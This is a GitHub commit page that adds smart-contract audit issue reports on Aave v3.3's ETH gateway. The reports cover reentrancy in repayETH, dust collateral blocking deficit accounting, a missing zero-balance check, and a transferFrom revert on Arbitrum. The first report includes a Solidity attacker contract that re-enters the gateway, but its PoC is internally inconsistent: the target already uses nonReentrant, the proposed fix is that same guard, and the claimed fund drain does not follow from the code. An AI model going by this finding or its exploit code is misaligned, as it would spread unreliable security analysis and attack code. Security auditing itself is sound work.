-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
9effb76
commit 04b95d1
Showing
209 changed files
with
18,447 additions
and
10 deletions.
There are no files selected for viewing
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,148 @@ | ||
Shaggy Bone Hyena | ||
|
||
Medium | ||
|
||
# Reentrancy Vulnerability in repayETH Function Allows Repeated Repayments | ||
|
||
### Summary | ||
|
||
A reentrancy vulnerability in the repayETH function will lead to the protocol contract losing funds, as a malicious contract can repeatedly repay debt, due to the lack of reentrancy protection and state updates before external calls. | ||
|
||
### Root Cause | ||
|
||
In repayETH function within the contract, the lack of a reentrancy lock combined with the external call to POOL.repay() before updating internal state allows for recursive calls and therefore multiple repayments to be triggered during the same transaction. | ||
|
||
### Internal Pre-conditions | ||
|
||
1.A malicious contract needs to be deployed with the capability to call repayETH. | ||
2.The attacker needs to borrow some WETH from the pool | ||
3.The repayETH function has to receive a msg.value sufficient to cover the repayment amount. | ||
|
||
### External Pre-conditions | ||
|
||
There are no specific external protocol changes needed to exploit this vulnerability, it is internal to the contracts code itself. | ||
|
||
### Attack Path | ||
|
||
1.A malicious contract borrows WETH from the pool | ||
2.The malicious contract calls repayETH, setting its own address as onBehalfOf and sending an appropriate msg.value. | ||
3.The WETH.deposit call converts the sent ETH into WETH. | ||
4.The POOL.repay() call triggers a callback to the malicious contract as its the address of onBehalfOf. | ||
5.The malicious contract's callback re-enters repayETH, causing the repayment process to repeat before the initial call is complete. | ||
|
||
### Impact | ||
|
||
The protocol will suffer a loss of funds as the attacker repeatedly repays the debt and drains the funds within the pool. | ||
|
||
|
||
|
||
### PoC | ||
|
||
// SPDX-License-Identifier: GPL-3.0 | ||
pragma solidity >=0.8.0; | ||
|
||
import "forge-std/Test.sol"; | ||
import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; | ||
import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; | ||
|
||
interface WETH { | ||
function deposit() external payable; | ||
function withdraw(uint256) external; | ||
} | ||
interface POOL { | ||
function repay(address asset, uint256 amount, uint256 rateMode, address onBehalfOf) external; | ||
function getReserveVariableDebtToken(address asset) external returns(address); | ||
} | ||
interface DataTypes { | ||
enum InterestRateMode { | ||
NONE, | ||
STABLE, | ||
VARIABLE | ||
} | ||
} | ||
|
||
contract RepayContract is ReentrancyGuard { | ||
address public POOL; | ||
address public WETH; | ||
|
||
constructor(address _pool, address _weth){ | ||
POOL = _pool; | ||
WETH = _weth; | ||
} | ||
|
||
function repayETH(address asset, uint256 amount, address onBehalfOf) external payable override nonReentrant{ | ||
uint256 paybackAmount = IERC20(POOL.getReserveVariableDebtToken(address(WETH))).balanceOf( | ||
onBehalfOf | ||
); | ||
|
||
if (amount < paybackAmount) { | ||
paybackAmount = amount; | ||
} | ||
require(msg.value >= paybackAmount, 'msg.value is less than repayment amount'); | ||
WETH(WETH).deposit{value: paybackAmount}(); | ||
POOL(POOL).repay( | ||
address(WETH), | ||
paybackAmount, | ||
uint256(DataTypes.InterestRateMode.VARIABLE), | ||
onBehalfOf | ||
); | ||
|
||
// refund remaining dust eth | ||
if (msg.value > paybackAmount) payable(msg.sender).transfer(msg.value - paybackAmount); | ||
} | ||
} | ||
|
||
contract MaliciousContract { | ||
RepayContract public repayContract; | ||
WETH public WETH; | ||
POOL public POOL; | ||
|
||
constructor(address _repayContract, address _weth, address _pool){ | ||
repayContract = RepayContract(_repayContract); | ||
WETH = WETH(_weth); | ||
POOL = POOL(_pool); | ||
} | ||
|
||
function attack(uint256 _amount) external payable { | ||
// First borrow some WETH | ||
|
||
// Second call repay, this triggers the reentrancy | ||
repayContract.repayETH{value: _amount}(address(WETH), _amount, address(this)); | ||
} | ||
|
||
receive() external payable { | ||
//reenter | ||
repayContract.repayETH{value: msg.value}(address(WETH), msg.value, address(this)); | ||
} | ||
} | ||
|
||
contract ExploitTest is Test { | ||
|
||
RepayContract repayContract; | ||
MaliciousContract maliciousContract; | ||
address public WETH = address(0x123); //Mock WETH; | ||
address public POOL = address(0x321); //Mock pool; | ||
|
||
function setUp() public { | ||
repayContract = new RepayContract(POOL,WETH); | ||
maliciousContract = new MaliciousContract(address(repayContract), WETH, POOL); | ||
} | ||
|
||
function testReentrancyAttack() public { | ||
//set up mock to have a 100 WETH balance | ||
//attacker has 100 eth | ||
vm.deal(address(maliciousContract), 100 ether); | ||
|
||
//Attack | ||
maliciousContract.attack{value: 1 ether}(1 ether); | ||
} | ||
} | ||
### Code Snippet | ||
https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L85 | ||
|
||
### Tool used | ||
Manual Review | ||
|
||
### Mitigation | ||
Implement a reentrancy lock using OpenZeppelin's ReentrancyGuard to prevent re-entrant calls. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,32 @@ | ||
Elegant Steel Tarantula | ||
|
||
Medium | ||
|
||
# Deficit accounting can be prevented by supplying 1 wei of a different collateral | ||
|
||
### Summary | ||
|
||
Deficit accounting can be prevented by supplying 1 wei of a different collateral | ||
|
||
### Root Cause | ||
|
||
Deficit accounting only occurs when `hasNoCollateralLeft` is true, but the liquidation only takes the collateral of one reserve. There is no incentive to carry out the 2nd liquidation on the 1 wei of other collateral. | ||
|
||
### Internal Pre-conditions | ||
|
||
A position reaches a state of bad debt | ||
|
||
### External Pre-conditions | ||
|
||
_No response_ | ||
|
||
### Attack Path | ||
1. Position reaches state of bad debt | ||
2. Before the bad debt liquidation, the borrower supplies 1 wei of a different collateral to what is being liquidated | ||
3. Liquidation occurs, deficit accounting does not occur since `hasNoCollateralLeft` is false | ||
4. It is not economical to liquidate the dust of 1 wei, so the bad debt will remain, and the deficit will not be accounted, so `executeEliminateDeficit()` will not account for this bad debt | ||
|
||
### Impact | ||
Deficit accounting is prevented, and the outstanding debt remains. | ||
|
||
### Mitigation |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,97 @@ | ||
Tall Grape Wombat | ||
|
||
Medium | ||
|
||
# Missing Zero-Balance Check in `withdrawETH` Function May Lead to Gas Wastage and Poor User Experience | ||
|
||
### Summary | ||
|
||
The `withdrawETH` function in the contract lacks a check for whether the user has a zero balance before proceeding with the withdrawal logic. This oversight can lead to wasted gas and a confusing user experience. Additionally, it may expose the protocol to minor abuse scenarios, such as repeated zero-value transactions or event spamming. | ||
|
||
### Root Cause | ||
|
||
https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L55 | ||
|
||
```solidity | ||
function withdrawETH(address, uint256 amount, address to) external override { | ||
IAToken aWETH = IAToken(POOL.getReserveAToken(address(WETH))); | ||
uint256 userBalance = aWETH.balanceOf(msg.sender); | ||
uint256 amountToWithdraw = amount; | ||
// if amount is equal to uint(-1), the user wants to redeem everything | ||
if (amount == type(uint256).max) { | ||
amountToWithdraw = userBalance; | ||
} | ||
aWETH.transferFrom(msg.sender, address(this), amountToWithdraw); | ||
POOL.withdraw(address(WETH), amountToWithdraw, address(this)); | ||
WETH.withdraw(amountToWithdraw); | ||
_safeTransferETH(to, amountToWithdraw); | ||
} | ||
``` | ||
The function does not explicitly check if the user’s balance is zero before executing subsequent steps. | ||
|
||
### Internal Pre-conditions | ||
|
||
_No response_ | ||
|
||
### External Pre-conditions | ||
|
||
_No response_ | ||
|
||
### Attack Path | ||
|
||
_No response_ | ||
|
||
### Impact | ||
|
||
- The `aWETH.transferFrom` function will likely revert if the user attempts to transfer tokens they do not own. However, this happens after other potentially gas-costly operations have already executed, unnecessarily consuming gas. | ||
|
||
- Users with zero balance receive no meaningful error message until a later stage, leading to poor user experience. | ||
|
||
- Repeated calls with zero balance could lead to minor denial-of-service or spamming scenarios. | ||
|
||
### PoC | ||
|
||
_No response_ | ||
|
||
### Mitigation | ||
|
||
Add a check for zero balance at the start of the function to prevent further execution when the user has no funds to withdraw. | ||
|
||
#### **Updated Code:** | ||
```solidity | ||
function withdrawETH(address, uint256 amount, address to) external override { | ||
IAToken aWETH = IAToken(POOL.getReserveAToken(address(WETH))); | ||
uint256 userBalance = aWETH.balanceOf(msg.sender); | ||
// Ensure the user has a non-zero balance | ||
require(userBalance > 0, "Withdraw failed: zero balance"); | ||
uint256 amountToWithdraw = amount; | ||
// If the user wants to redeem everything | ||
if (amount == type(uint256).max) { | ||
amountToWithdraw = userBalance; | ||
} | ||
aWETH.transferFrom(msg.sender, address(this), amountToWithdraw); | ||
POOL.withdraw(address(WETH), amountToWithdraw, address(this)); | ||
WETH.withdraw(amountToWithdraw); | ||
_safeTransferETH(to, amountToWithdraw); | ||
} | ||
``` | ||
|
||
#### **Benefits of the Fix:** | ||
|
||
1. **Gas Optimization:** | ||
|
||
- The function exits early when the balance is zero, avoiding unnecessary operations. | ||
|
||
2. **Improved User Experience:** | ||
|
||
- Users receive a clear and immediate error message (“Withdraw failed: zero balance”) when they have no funds to withdraw. | ||
|
||
3. **Security Hardening:** | ||
|
||
- Prevents spamming or minor abuse scenarios. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,48 @@ | ||
Odd Licorice Lobster | ||
|
||
Medium | ||
|
||
# `withdrawETH` function always reverts on `Arbitrum` | ||
|
||
### Summary | ||
|
||
[withdrawETH](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L55C12-L55C23) function Converts `aWETH` tokens back into `ETH`and transfers it to the specified recipient. | ||
|
||
### Root Cause | ||
|
||
The token transfer is done using the `transferFrom` method. This works fine on most chains (Ethereum, Optimism, Polygon) which use the standard WETH9 contract that handles the case src == msg.sender: | ||
|
||
```solidity | ||
if (src != msg.sender && allowance[src][msg.sender] != uint(- 1)) { | ||
require(allowance[src][msg.sender] >= wad); | ||
allowance[src][msg.sender] -= wad; | ||
} | ||
``` | ||
|
||
The problem is that the WETH implementation on Arbitrum uses a [different](https://arbiscan.io/address/0x8b194beae1d3e0788a1a35173978001acdfba668#code) contract and does not have this `src == msg.sender` handling. | ||
|
||
|
||
|
||
### Internal Pre-conditions | ||
|
||
_No response_ | ||
|
||
### External Pre-conditions | ||
|
||
_No response_ | ||
|
||
### Attack Path | ||
|
||
_No response_ | ||
|
||
### Impact | ||
|
||
`withdrawETH` function will revert on `Arbitrum` | ||
|
||
### PoC | ||
|
||
_No response_ | ||
|
||
### Mitigation | ||
|
||
use `transfer` instead `transferFrom` |
Oops, something went wrong.